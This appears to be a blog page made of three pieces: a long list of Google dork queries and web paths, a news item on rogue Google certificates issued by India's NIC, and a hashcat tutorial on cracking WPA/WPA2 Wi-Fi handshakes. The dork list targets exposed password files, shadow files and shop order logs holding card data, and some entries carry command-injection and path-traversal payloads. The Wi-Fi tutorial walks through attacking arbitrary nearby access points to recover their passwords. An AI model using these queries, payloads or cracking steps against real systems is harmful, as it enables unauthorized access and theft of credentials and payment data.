ART OF GOOGLING

Advance Search option given by google. use it and be a smart

1. “Index of /admin”
2. “Index of /password”
3. “Index of /mail”
4. “Index of /” +passwd
5. “Index of /” +password.txt
6. “Index of /” +.htaccess
7. index of ftp +.mdb allinurl:/cgi-bin/ +mailto
8. administrators.pwd.index
9. authors.pwd.index
10. service.pwd.index
11. filetype:config web
12. gobal.asax index
13. allintitle: “index of/admin”
14. allintitle: “index of/root”
15. allintitle: sensitive filetype:doc
16. allintitle: restricted filetype :mail
17. allintitle: restricted filetype:doc site:gov
18. inurlasswd filetype:txt
19. inurl:admin filetype:db
20. inurl:iisadmin

21. inurl:”auth_user_file.txt”
22. inurl:”wwwroot/*.”
23. top secret site:mil
24. confidential site:mil
25. allinurl: winnt/system32/ (get cmd.exe)
26. allinurl:/bash_history
27. intitle:”Index of” .sh_history
28. intitle:”Index of” .bash_history
29. intitle:”index of” passwd
30. intitle:”index of” people.lst
31. intitle:”index of” pwd.db
32. intitle:”index of” etc/shadow
33. intitle:”index of” spwd
34. intitle:”index of” master.passwd
35. intitle:”index of” htpasswd
36. intitle:”index of” members OR accounts
37. intitle:”index of” user_carts OR user_cart
38. ALTERNATIVE INPUTS====================
39. _vti_inf.html
40. service.pwd
41. users.pwd
42. authors.pwd
43. administrators.pwd
44. shtml.dll
45. shtml.exe
46. fpcount.exe
47. default.asp
48. showcode.asp
49. sendmail.cfm
50. getFile.cfm
51. imagemap.exe
52. test.bat
53. msadcs.dll
54. htimage.exe
55. counter.exe
56. browser.inc
57. hello.bat
58. default.aspdvwssr.dll
59. cart32.exe
60. add.exe
61. index.jsp
62. SessionServlet
63. shtml.dll
64. index.cfm
65. page.cfm
66. shtml.exe
67. web_store.cgi
68. shop.cgi
69. upload.asp
70. default.asp
71. pbserver.dll
72. phf
73. test-cgi
74. finger
75. Count.cgi
76. jj
77. php.cgi
78. php
79. nph-test-cgi
80. handler
81. webdist.cgi
82. webgais
83. websendmail
84. faxsurvey
85. htmlscript
86. perl.exe
87. wwwboard.pl
88. www-sql
89. view-source
90. campas
91. aglimpse
92. glimpse
93. man.sh
94. AT-admin.cgi
95. AT-generate.cgi
96. filemail.pl
97. maillist.pl
98. info2www
99. files.pl
100. bnbform.cgi
101. survey.cgi
102. classifieds.cgi
103. wrap
104. cgiwrap
105. edit.pl
106. perl
107. names.nsf
108. webgais
109. dumpenv.pl
110. test.cgi
111. submit.cgi
112. guestbook.cgi
113. guestbook.pl
114. cachemgr.cgi
115. responder.cgi
116. perlshop.cgi
117. query
118. w3-msql
119. plusmail
120. htsearch
121. infosrch.cgi
122. publisher
123. ultraboard.cgi
124. db.cgi
125. formmail.cgi
126. allmanage.pl
127. ssi
128. adpassword.txt
129. redirect.cgi
130. cvsweb.cgi
131. login.jsp
132. dbconnect.inc
133. admin
134. htgrep
135. wais.pl
136. amadmin.pl
137. subscribe.pl
138. news.cgi
139. auctionweaver.pl
140. .htpasswd
141. acid_main.php
142. access.log
143. log.htm
144. log.html
145. log.txt
146. logfile
147. logfile.htm
148. logfile.html
149. logfile.txt
150. logger.html
151. stat.htm
152. stats.htm
153. stats.html
154. stats.txt
155. webaccess.htm
156. wwwstats.html
157. source.asp
158. perl
159. mailto.cgi
160. YaBB.pl
161. mailform.pl
162. cached_feed.cgi
163. global.cgi
164. Search.pl
165. build.cgi
166. common.php
167. show
168. global.inc
169. ad.cgi
170. WSFTP.LOG
171. index.html~
172. index.php~
173. index.html.bak
174. index.php.bak
175. print.cgi
176. register.cgi
177. webdriver
178. bbs_forum.cgi
179. mysql.class
180. sendmail.inc
181. CrazyWWWBoard.cgi
182. search.pl
183. way-board.cgi
184. webpage.cgi
185. pwd.dat
186. adcycle
187. post-query
188. help.cgi
189. /robots.txt
190. /admin.mdb
191. /shopping.mdb
192. /arg;
193. /stats/styles.css
194. /statshelp.htm
195. /favicon.ico
196. /stats/admin.mdb
197. /shopdbtest.asp
198. /cgi-bin/test.cgi
199. /cgi-bin/test.pl
200. /cgi-bin/env.cgi
201. /photos/protest/styles.css
202. http://hpcgi1.nifty.com/trino/ProxyJ/prxjdg.cgi
203. /cgi-bin/whereami.cgi
204. /shopping400.mdb
205. /cgi/test.cgi
206. /cgi-bin/test2.pl
207. /photos/protest/kingmarch_02.html
208. /chevy/index.htm
209. /cgi-bin/glocation.cgi
210. /cgi-bin/test2.cgi
211. /ccbill/glocation.cgi
212. /cgi-bin/styles.css
213. /shopping350.mdb
214. /cgi-bin/shopper.cgi
215. /shopadmin.asp
216. /news_2003-02-27.htm
217. /cgi-bin/whois.cgi
218. 3 /cgi-bin/calendar.pl
219. 3 /cgi-bin/calendar/calendar.pl
220. 3 /cgibin/styles.css
221. 3 /venem.htm
222. 2 /stats/www.newbauersflowers.com/stats/04-refers.htm
223. 2 /cgi-bin/where.pl
224. 2 /cgibin/shopper.cgi&TEMPLATE=ORDER.LOG
225. 2 /cgibin/recon.cgi
226. 2 /cgibin/test.cgi
227. 2 /WebShop/templates/styles.css
228. 2 /stats/shopping350.mdb
229. 2 /cgi-bin/mailform.cgi
230. 2 /cgi-bin/recon.cgi
231. 2 /chevy
232. 2 /cgi-bin/servinfo.cgi
233. 2 /acart2_0.mdb
234. 2 /cgi-bin/where.cgi
235. 2 /chevy/
236. 2 /stats/www.savethemall.net/stats/19-refers.htm
237. 2 /ccbill/secure/ccbill.log
238. 2 /cgi/recon.cgi
239. 2 /stats/www.gregoryflynn.com/chevy
240. 2 /ibill/glocation.cgi
241. 2 /ccbill/whereami.cgi
242. 2 /ibill/whereami.cgi
243. 2 /apps_trial.htm
244. 2 /cgi-bin/lancelot/recon.cgi
245. 2 /cgi-bin/DCShop/Orders/styles.css
246. 1 /cgi-bin/htmanage.cgi
247. 1 /stats/www.tysons.net/stats/05-refers.htm
248. 1 /cgi-bin/mastergate/add.cgi
249. 1 /cgi-bin/openjournal.cgi
250. 1 /cgi-bin/calendar/calendar_admin.pl
251. 1 /cgibin/ibill/count.cgi
252. 1 /cgi-bin/nbmember2.cgi
253. 1 /cgi-bin/mastergate/count.cgi
254. 1 /cgi-bin/mastergate/accountcreate.cgi
255. 1 /cgi-bin/ibill/accountcreate.cgi
256. 1 /cgibin/MasterGate2/count.cgi
257. 1 /cgi-bin/amadmin.pl
258. 1 /cgibin/mailform.cgi
259. 1 /cgibin/mastergate/count.cgi
260. 1 /cgibin/harvestor.cgi
261. 1 /cgibin/igate/count.cgi
262. 1 /WebShop
263. 1 /shopdisplaycategories.asp
264. 1 /cgi-bin/DCShop/Orders/orders.txt
265. 1 /cgi-bill/revshare/joinpage.cgi
266. 1 /stats/www.gregoryflynn.com/stats/19-refers.htm
267. 1 /cgi-local/DCShop/auth_data/styles.css
268. 1 /cgi-bin/add-passwd.cgi
269. 1 /cgi-bin/MasterGate/count.cgi
270. 1 /apps_shop.htm%20/comersus/database/comersus.mdb
271. 1 /data/verotellog.txt
272. 1 /epwd/ws_ftp.log
273. 1 /stats/www.dialacure.com/stats/16-refers.htm
274. 1 /cgi/MasterGate2/count.cgi
275. 1 /jump/rsn.tmus/skybox;sz=140×150;segment=all;resor=jackson;state= WY;sect=home;tile=8;ord=57019
276. 1 /wwii/styles.css
277. 1 /cgi-bin/admin.mdb
278. 1 /stats/www.gregoryflynn.com/stats/31-refers.htm
279. 1 /cgi-bin/ibill-tools/count.cgi
280. 1 /WebShop/templates/cc.txt
281. 1 /cgibin/ibill/accountcreate.cgi
282. 1 /cgi-bin/count.cgi
283. 1 /cgi-local/DCShop/auth_data/auth_user_file.txt
284. 1 /cgi/mastergate/count.cgi
285. 1 /cgi-bin/EuroDebit/addusr.pl
286. 1 /cgi-bin/dbm-passwd.cgi
287. 1 /cgi/igate/accountcreate.cgi
288. 1 /cgi-bin/store/Log_files/your_order.log
289. store/log_files/your_order.log
290. /cgi-bin/DCShop/Orders/orders.txt
291. /vpasp/shopdbtest.asp
292. /orders/checks.txt
293. /WebShop/logs
294. /ccbill/secure/ccbill.log
295. /scripts/cart32.exe
296. /cvv2.txt
297. /cart/shopdbtest.asp
298. /cgi-win/cart.pl
299. /shopdbtest.asp
300. /WebShop/logs/cc.txt
301. /cgi-local/cart.pl
302. /PDG_Cart/order.log
303. /config/datasources/expire.mdb
304. /cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.loghtml
305. /orders/orders.txt
306. /cgis/cart.pl
307. /webcart/carts
308. /cgi-bin/cart32.exe/cart32clientlist
309. /cgi/cart.pl
310. /comersus/database/comersus.mdb
311. /WebShop/templates/cc.txt
312. /Admin_files/order.log
313. /orders/mountain.cfg
314. /cgi-sys/cart.pl
315. /scripts/cart.pl
316. /htbin/cart.pl
317. /productcart/database/EIPC.mdb
318. /shoponline/fpdb/shop.mdb
319. /config/datasources/myorder.mdb
320. /PDG_Cart/shopper.conf
321. /shopping/database/metacart.mdb
322. /bin/cart.pl
323. /cgi-bin/cart32.ini
324. /database/comersus.mdb
325. /cgi-local/medstore/loadpage.cgi?user_id=id&file=data/orders.txt
326. /cgi-bin/store/Admin_files/myorderlog.txt
327. /cgi-bin/orders.txt
328. /cgi-bin/store/Admin_files/your_order.log
329. /test/test.txt
330. /fpdb/shop.mdb
331. /cgibin/shop/orders/orders.txt
332. /shopadmin1.asp
333. /cgi-bin/shop.cgi
334. /cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi
335. /cgi-bin/PDG_cart/card.txt
336. /shopper.cgi?preadd=action&key=PROFA&template=order1.log
337. /store/shopdbtest.asp
338. /log_files/your_order.log
339. /_database/expire.mdb
340. /HyperStat/stat_what.log
341. /cgibin/DCShop/auth_data/auth_user_file.txt
342. /htbin/orders/orders.txt
343. /SHOP/shopadmin.asp
344. /index.cgi?page=../admin/files/order.log
345. /vpshop/shopadmin.asp
346. /webcart/config
347. /PDG/order.txt
348. /cgi-bin/shopper.cgi
349. /orders/order.log
350. /orders/db/zzzbizorders.log.html
351. /easylog/easylog.html
352. /cgi-bin/store/Log_files/your_order.log
353. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping400.mdb
354. /comersus_message.asp?
355. /orders/import.txt
356. /htbin/DCShop/auth_data/auth_user_file.txt
357. /admin/html_lib.pl
358. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=myorder.txt
359. /cgi-bin/DCShop/auth_data/auth_user_file.txt
360. /cgi-bin/shop.pl/page=;cat%20shop.pl
361. /cgi-bin/shopper?search=action&keywords=dhenzuser%20&template=order.log
362. /HBill/htpasswd
363. /bin/shop/auth_data/auth_user_file.txt
364. /cgi-bin/cs/shopdbtest.asp
365. /mysql/shopping.mdb
366. /Catalog/config/datasources/Products.mdb
367. /trafficlog
368. /cgi/orders/orders.txt
369. /cgi-local/PDG_Cart/shopper.conf
370. /store/cgi-bin/Admin_files/expire.mdb
371. /derbyteccgi/shopper.cgi?key=SC7021&preadd=action&template=order.log
372. /derbyteccgi/shopper.cgi?search=action&keywords=moron&template=order.log
373. /cgi-bin/mc.txt
374. /cgi-bin/mall2000.cgi
375. /cgi-win/DCShop/auth_data/auth_user_file.txt
376. /cgi-bin/shopper.cgi?search=action&keywords=root%20&template=order.log
377. /store/commerce.cgi
378. /scripts/shop/orders/orders.txt
379. /product/shopping350.mdb
380. /super_stats/access_logs
381. /cgi-local/orders/orders.txt
382. /cgi-bin/PDG_Cart/mc.txt
383. /cgibin/cart32.exe
384. /cgi-bin/Shopper.exe?search=action&keywords=psiber%20&template=other/risinglogorder.log
385. /cgibin/password.txt
386. /Catalog/cart/carttrial.dat
387. /catalog/Admin/Admin.asp
388. /ecommerce/admin/user/admin.asp
389. /data/productcart/database/EIPC.mdb
390. /store/admin_files/commerce_user_lib.pl
391. /cgi-bin/store/index.cgi
392. /paynet.txt
393. /config/datasources/store/billing.mdb
394. /_database/shopping350.mdb
395. /cgi-bin/shopper.exe?search
396. /cgi/shop.pl/page=;cat%20shop.pl
397. /cgi-bin/store/Admin_files/orders.txt
398. /cgi-bin/store/commerce_user_lib.pl
399. /cgi-sys/pagelog.cgi
400. /cgi-sys/shop.pl/page=;cat%20shop.pl
401. /scripts/weblog
402. /fpdb/shopping400.mdb
403. /htbin/shop/orders/orders.txt
404. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=myorder.log
405. /cgi-bin/shopper.exe?search=action&keywords=psiber&template=order.log
406. /mall_log_files/
407. /cgi-bin/perlshop.cgi
408. /tienda/shopdbtest.asp
409. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping.mdb
410. /cgi-bin/shopper.cgi?search=action&keywords=whinhall&template=order.log
411. /WebShop/logs/ck.log
412. /fpdb/shopping300.mdb
413. /mysql/store.mdb
414. /cgi-bin/store/Admin_files/commerce_user_lib.pl
415. /config.dat
416. /order/order.log
417. /commerce_user_lib.pl
418. /Admin_files/AuthorizeNet_user_lib.pl
419. /cvv2.asp
420. /cgi-bin/cart32/CART32-order.txt
421. /wwwlog
422. /cool-logs/mlog.html
423. /cgi-bin/pass/merchant.cgi.log
424. /cgi-local/pagelog.cgi
425. /cgi-bin/pagelog.cgi
426. /cgi-bin/orders/cc.txt
427. /cgis/shop/orders/orders.txt
428. /admin/admin_conf.pl
429. /cgi-bin/pdg_cart/order.log
430. /cgi/PDG_Cart/order.log
431. /Admin_files/ccelog.txt
432. /cgi-bin/orders/mc.txt
433. /cgi/cart32.exe
434. /ecommerce/admin/admin.asp
435. /scripts/DCShop/auth_data/auth_user_file.txt
436. /Catalog/config/datasources/Expire.mdb
437. /ecommerce/admin/shopdbtest.asp
438. /mysql/mystore.mdb
439. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping.asp
440. /cgi-bin/commercesql/index.cgi?page=../admin/files/order.log
441. /cgi-bin/Count.cgi?df=callcard.dat
442. /logfiles/
443. /shopping/shopping350.mdb
444. /admin/configuration.pl
445. /cgis/DCShop/auth_data/auth_user_file.txt
446. /cgis/cart32.exe
447. /cgi-bin/dcshop.cgi
448. /cgi-win/shop/auth_data/auth_user_file.txt
449. /shopping400.mdb
450. /HBill/config
451. /cgi-bin/shop/index.cgi?page=../admin/files/order.log
452. /search=action&keywords=GSD%20&template=order.log
453. /WebCart/orders.txt
454. /PDG_Cart/authorizenets.txt
455. /cgi-bin/AnyForm2
456. /~gcw/cgi-bin/Count.cgi?df=callcard.dat
457. /cgi-bin/PDG_Cart/order.log
458. /expire.mdb
459. /logger/
460. /webcart-lite/orders/import.txt
461. /cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl
462. /cgi-bin/PDG_Cart/shopper.conf
463. /cgi-bin/cart32.exe
464. /dc/orders/orders.txt
465. /cgi-local/DCShop/orders/orders.txt
466. /shop.pl/page=shop.cfg
467. /cgi-local/cart32.exe
468. /cgi-win/pagelog.cgi
469. /cgi-win/shop/orders/orders.txt
470. /cgibin/shopper.cgi?search=action&keywords=moron&template=order.csv
471. /cgi-sys/DCShop/auth_data/auth_user_file.txt
472. /cgi-bin/www-sql;;;
473. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=order.log
474. /scripts/orders/orders.txt
475. /cgi-local/shop.pl/shop.cfg
476. /search=action&keywords=cwtb%20&template=expire.mdb
477. /php/mylog.phtml
478. /config/datasources/shopping.mdb
479. /php-coolfile/action.php?action=edit&file=config.php
480. /cgi-bin/ezmall2000/mall2000.cgi
481. /cgi/DCShop/orders/orders.txt
482. /cgi-local/shop.pl
483. /cgis/DCShop/orders/orders.txt
484. /product/shopdbtest.asp
485. /ASP/cart/database/metacart.mdb
486. /cgi-bin/cgi-lib.pl
487. /cgi-bin/mailview.cgi?cmd=view&fldrname=inbox&select=1&html
488. /search=action&keywords=cwtb%20&template=order.log
489. /mysql/expire.mdb
490. /scripts/shop/auth_data/auth_user_file.txt
491. /cgi-bin/cart32/whatever-OUTPUT.txt
492. /Shopping%20Cart/shopdbtest.asp
493. /cgi/shop/auth_data/auth_user_file.txt
494. /shop/shopping350.mdb
495. /cgi-bin/store/Authorize_Net.pl
496. /scripts/DCShop/orders/orders.txt
497. /store/log_files/commerce_user_lib.pl
498. /shopping/shopadmin.asp
499. /cgi-bin/orderlog.txt
500. /cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;cat%20../../webcart/system/orders/orders.txt|&CODE=PHOLD;;;
501. /cool-logs/mylog.html
502. /cgibin/shop.pl/page=;cat%20shop.pl
503. /htbin/shop.pl/page=;cat%20shop.pl
504. /cgi-win/orders/orders.txt
505. /cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=order1.txt
506. /SHOP/shopdbtest.asp
507. /cgi/pagelog.cgi
508. /php/mlog.phtml
509. /cgi-bin/shop/apdproducts.mdb
510. /htbin/shop/auth_data/auth_user_file.txt
511. /server%20logfile;;;
512. /database/metacart.mdb
513. /cgi-local/shop/orders/orders.txt

Please Try it at own risk, i am not responsible for this funny stuff 

Google catches Indian Government Agency with Fake Digital Certificates

Google has identified and blocked unauthorized digital certificates for a number of its domains issued by the National Informatics Centre (NIC) of India, a unit of India’s Ministry of Communications and Information Technology.

National Informatics Center (NIC) holds several intermediate Certification Authority (CA) certs trusted by the Indian government’s top CA, Indian Controller of Certifying Authorities (India CCA), which are included in the Microsoft Root Store and so are trusted by a large number of applications running on Windows, including Internet Explorer and Chrome.

The use of rogue digital certificates could result in a potentially serious security and privacy threat that could allow an attacker to spy on an encrypted communication between a user’s device and a secure HTTPS website, which is thought to be secure.

It’s the second high-profile incident of a government agency caught issuing fake SSL certificates since December, when Google revoked trust for a digital certificate for several of its domains, mistakenly signed by a French government intermediate certificate authority.

Google has taken many measures to advance the security of its certificates, as SSL certificates are still one of the core elements of online security and still, since hundreds of entities issue certificates, it makes the company difficult to identify fake certs that aren’t following proper procedures.

One such measure is Google’s recently launched Certificate Transparency project, which provides an open framework for monitoring and auditing SSL certificates in nearly real time. Specifically, Certificate Transparency makes it possible to detect SSL certificates that have been mistakenly issued by a certificate authority or maliciously acquired from an otherwise unimpeachable certificate authority. 

DigiCert was one of the first Certificate Authority’s to implement Certificate Transparency after working with Google for a year to pilot the project.

Google also upgraded its SSL certificates from 1024-bit to 2048-bit RSA to make them more secure and unbreakable. Because longer key length would make it even more difficult for a cyber criminal to break the SSL connections that secure your emails, banking transactions and many more.

Cracking WPA , WPA2 with Hashcat tool in Kali Linux (BruteForce MASK based attack on Wifi passwords)

Cracking WPA WPA2 with Hashcat oclHashcat or cudaHashcat  on Kali Linux (BruteForce MASK based attack on Wifi passwords)

cudaHashcat or oclHashcat or Hashcat on Kali Linux got built-in capabilities to attack and decrypt or crack WPA WPA2 handshake .capfiles. Only constraint is, you need to convert a .cap file to a .hccap file format. This is rather easy.

Important Note: Many users try to capture with network cards that are not supported. You should purchase a card that supports Kali Linux including injection and monitor mode etc. A list can be found in 802.11 Recommended USB Wireless Cards for Kali Linux. It is very important that you have a supported card, otherwise you’ll be just wasting time and effort on something that just won’t do the job.

My Setup

I have a NVIDIA GTX 210 Graphics card in my machine running Kali Linux 1.0.6 and will use rockyou dictionary for most of the exercise. In this post, I will show How to crack WPA/WPA2 handshake file (.cap files) with cudaHashcat or oclHashcat or Hashcat on Kali Linux.

I will use cudahashcat command because I am using a NVIDIA GPU. If you’re using AMD GPU, then I guess you’ll be using oclHashcat. Let me know if this assumptions is incorrect.

To enable GPU Cracking, you need to install either CUDA for NVIDIA or AMDAPPSDK for AMD graphics cards. I’ve covered those in in my previous posts.

NVIDIA Users:

1. Install proprietary NVIDIA driver on Kali Linux – NVIDIA Accelerated Linux Graphics Driver
2. Install NVIDIA driver kernel Module CUDA and Pyrit on Kali Linux – CUDA, Pyrit and Cpyrit-cuda

AMD Users:

1. Install AMD ATI proprietary fglrx driver in Kali Linux 1.0.6
2. Install AMD APP SDK in Kali Linux
3. Install Pyrit in Kali Linux
4. Install CAL++ in Kali Linux

Why use Hashcat to crack WPA/WPA2 handshake file?

Pyrit is the fastest when it comes to cracking WPA/WPA2 handshake files. So why are we using Hashcat to crack WPA/WPA2 handshake files?

1. Because we can?
2. Because Hashcat allows us to use customized attacks with predefined rules and Masks.

Now this doesn’t explain much and reading HASHCAT Wiki will take forever to explain on how to do it. I’ll just give some examples to clear it up.

Hashcat allows you to use the following built-in charsets to attack a WPA/WPA2 handshake file.

Built-in charsets

?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = !”#$%&'()*+,-./:;⇔?@[\]^_`{|}~

?a = ?l?u?d?s

Numbered passwords

So lets say you password is 12345678. You can use a custom MASK like ?d?d?d?d?d?d?d?d

What it means is that you’re trying to break a 8 digit number password like 12345678 or 23456789 or 01567891.. You get the idea.

Letter passwords – All uppercase

If your password is all letters in CAPS such as: ABCFEFGH or LKHJHIOP or ZBTGYHQS ..etc. then you can use the following MASK:

?u?u?u?u?u?u?u?u

It will crack all 8 Letter passwords in CAPS.

Letter passwords – All lowercase

If your password is all letters in lowercase such as: abcdefgh or dfghpoiu or bnmiopty..etc. then you can use the following MASK:

?l?l?l?l?l?l?l?l

It will crack all 8 Letter passwords in lowercase. I hope you now know where I am getting at.

Passwords – Lowercase letters and numbers

If you know your password is similar to this: a1b2c3d4 or p9o8i7u6 or n4j2k5l6 …etc. then you can use the following MASK:

?l?d?l?d?l?d?l?d

Passwords – Uppercase letters and numbers

If you know your password is similar to this: A1B2C3D4 or P9O8I7U6 or N4J2K5L6 …etc. then you can use the following MASK:

?u?d?u?d?u?d?u?d

Passwords – Mixed matched with uppercase, lowercase, number and special characters.

If you password is all random, then you can just use a MASK like the following:

?a?a?a?a?a?a?a?a

Note: ?a represents anything …. I hope you’re getting the idea.

If you are absolutely not sure, you can just use any of the predefined MASKs file and leave it running. But yeah, come back to check in a million years for a really long password …. Using a dictionary attack might have more success in that scenario.

Passwords – when you know a few characters

If you somehow know the few characters in the password, this will make things a lot faster. For every known letter, you save immense amount of computing time. MASK’s allows you to combine this. Let’s say your 8 character password starts with abc, doesn’t contain any special characters. Then you can create a MASK rule file to contain the following:

abc?l?l?l?l?l
abc?u?u?u?u?u
abc?d?d?d?d?d
abc?l?u??d??d?l
abc?d?d?l?u?l

There will be 125 combinations in this case. But it will surely break it in time. This is the true power of using cudaHashcat or oclHashcat or Hashcat on Kali Linux to break WPA/WPA2 passwords.

You can even up your system if you know how a person combines a password. Some people always uses UPPERCASE as the first character in their passwords, few lowercase letters and finishes with numbers.

Example: Abcde123

Your mask will be:

?u?l?l?l?l?d?d?d

This will make cracking significantly faster. Social engineering is the key here.

That’s enough with  MASK’s. Now let’s capture some WPA/WPA2 handshake files. Following WiFite section was taken from a previous guide Cracking Wifi WPA/WPA2 passwords using pyrit cowpatty in Kali Linux which was one of the best guides about cracking Wifi passwords out there.

Capture handshake with WiFite

Why WiFite instead of other guides that uses Aircrack-ng? Because we don’t have to type in commands..

Type in the following command in your Kali Linux terminal:

wifite –wpa

You could also type in

wifite wpa2

If you want to see everything, (wep, wpa or wpa2, just type the following command. It doesn’t make any differences except few more minutes

wifite

Once you type in following is what you’ll see.

So, we can see bunch of Access Points (AP in short). Always try to go for the ones with CLIENTS because it’s just much faster. You can choose all or pick by numbers. See screenshot below

Awesome, we’ve got few with clients attached. I will pick 1 and 2 cause they have the best signal strength. Try picking the ones with good signal strength. If you pick one with poor signal, you might be waiting a LONG time before you capture anything .. if anything at all.

So I’ve picked 1 and 2. Press Enter to let WiFite do it’s magic.

Once you press ENTER, following is what you will see. I got impatient as the number 1 choice wasn’t doing anything for a LONG time. So I pressed CTRL+C to quit out of it.

This is actually a great feature of WIfite. It now asks me,

What do you want to do?

1. [c]ontinue attacking targets
2. [e]xit completely.

I can type in c to continue or e to exit. This is the feature I was talking about. I typed c to continue. What it does, it skips choice 1 and starts attacking choice 2. This is a great feature cause not all routers or AP’s or targets will respond to an attack the similar way. You could of course wait and eventually get a respond, but if you’re just after ANY AP’s, it just saves time.

And voila, took it only few seconds to capture a handshake. This AP had lots of clients and I managed to capture a handshake.

This handshake was saved in /root/hs/BigPond_58-98-35-E9-2B-8D.cap file.

Once the capture is complete and there’s no more AP’s to attack, Wifite will just quit and you get your prompt back.

Now that we have a capture file with handshake on it, we can do a few things.

Cleanup your cap file using wpaclean

Next step will be converting the .cap file to a format cudaHashcat or oclHashcat or Hashcat on Kali Linux will understand.

Here’s how to do it:

To convert your .cap files manually in Kali Linux, use the following command

wpaclean  

Please note that the wpaclean options are the wrong way round. <out.cap> <in.cap> instead of <in.cap> <out.cap> which may cause some confusion.

In my case, the command is as follows:

wpaclean hs/out.cap hs/BigPond_58-98-35-E9-2B-8D.cap

Convert .cap file to .hccap format

We need to convert this file to a format cudaHashcat or oclHashcat or Hashcat on Kali Linux can understand.

To convert it to .hccap format with “aircrack-ng” we need to use the -J option

aircrack-ng  -J 

Note the -J is a capitol J not lower case j.

In my case, the command is as follows:

aircrack-ng hs/out.cap -J hs/out

Cracking WPA/WPA2 handshake with Hashcat

cudaHashcat or oclHashcat or Hashcat on Kali Linux is very flexible, so I’ll cover two most common and basic scenarios:

1. Dictionary attack
2. Mask attack

Dictionary attack

Grab some Wordlists, like Rockyou.

Read this guide Cracking Wifi WPA/WPA2 passwords using pyrit cowpatty in Kali Linux for detailed instructions on how to get this dictionary file and sorting/cleaning etc.

First we need to find out which mode to use for WPA/WPA2 handshake file. I’ve covered this in great length in Cracking MD5, phpBB, MySQL and SHA1 passwords with Hashcat on Kali Linux guide. Here’s a short rundown:

cudahashcat --help | grep WPA

So it’s 2500.

Now use the following command to start the cracking process:

cudahashcat -m 2500 /root/hs/out.hccap /root/rockyou.txt

Bingo, I used a common password for this Wireless AP. Took me few seconds to crack it. Depending on your dictionary size, it might take a while.

You should remember, if you’re going to use Dictionary attack, Pyrit would be much much much faster than cudaHashcat or oclHashcat or Hashcat. Why we are showing this here? Cause we can. 

Another guide explains how this whole Dictionary attack works. I am not going to explain the same thing twice here. Read Cracking MD5, phpBB, MySQL and SHA1 passwords with Hashcat on Kali Linux for dictionary related attacks in full length.

Brute-Force Attack

Now this is the main part of this guide. Using Brute Force MASK attack.

To crack WPA WPA2 handshake file using cudaHashcat or oclHashcat or Hashcat, use the following command:

Sample:

cudahashcat -m 2500 -a 3 capture.hccap ?d?d?d?d?d?d?d?d

Where -m = 2500 means we are attacking a WPA/WPA2 handshake file.

-a = 3 means we are using Brute Force Attack mode (this is  compatible with MASK attack).

capture.hccap = This is your converted .cap file. We generated it using wpaclean and aircrack-ng.

?d?d?d?d?d?d?d?d = This is your MASK where d = digit. That means this password is all in numbers. i.e. 7896435 or 12345678 etc.

I’ve created a special MASK file to make things faster. You should create your own MASK file in similar way I explained earlier. I’ve saved my file in the following directory as blackmoreops-1.hcmask.

/usr/share/oclhashcat/masks/blackmoreops-1.hcmask

Do the following to see all available default MASK files provided by cudaHashcat or oclHashcat or Hashcat:

ls /usr/share/oclhashcat/masks/

In my case, the command is as follows:

cudahashcat -m 2500 -a 3 /root/hs/out.hccap  /usr/share/oclhashcat/masks/blackmoreops-1.hcmask

Sample .hcmask file

You can check the content of a sample .hcmask file using the following command:

tail -10 /usr/share/oclhashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask

Edit this file to match your requirement, run Hashcat or cudaHashcat and let it rip.

Location of Cracked passwords

Hashcat or cudaHashcat saves all recovered passwords in a file. It will be in the same directory you’ve ran Hashcat or cudaHashcat or oclHashcat. In my case, I’ve ran all command from my home directory which is /root directory.

cat hashcat.pot

Conclusion

This guide explains a lot. But you should read read Wiki and Manuals from www.hashcat.net to get a better understanding of MASK and Rule based attacks because that’s the biggest strength of Hashcat.

Thanks for reading. Feel free to share this article.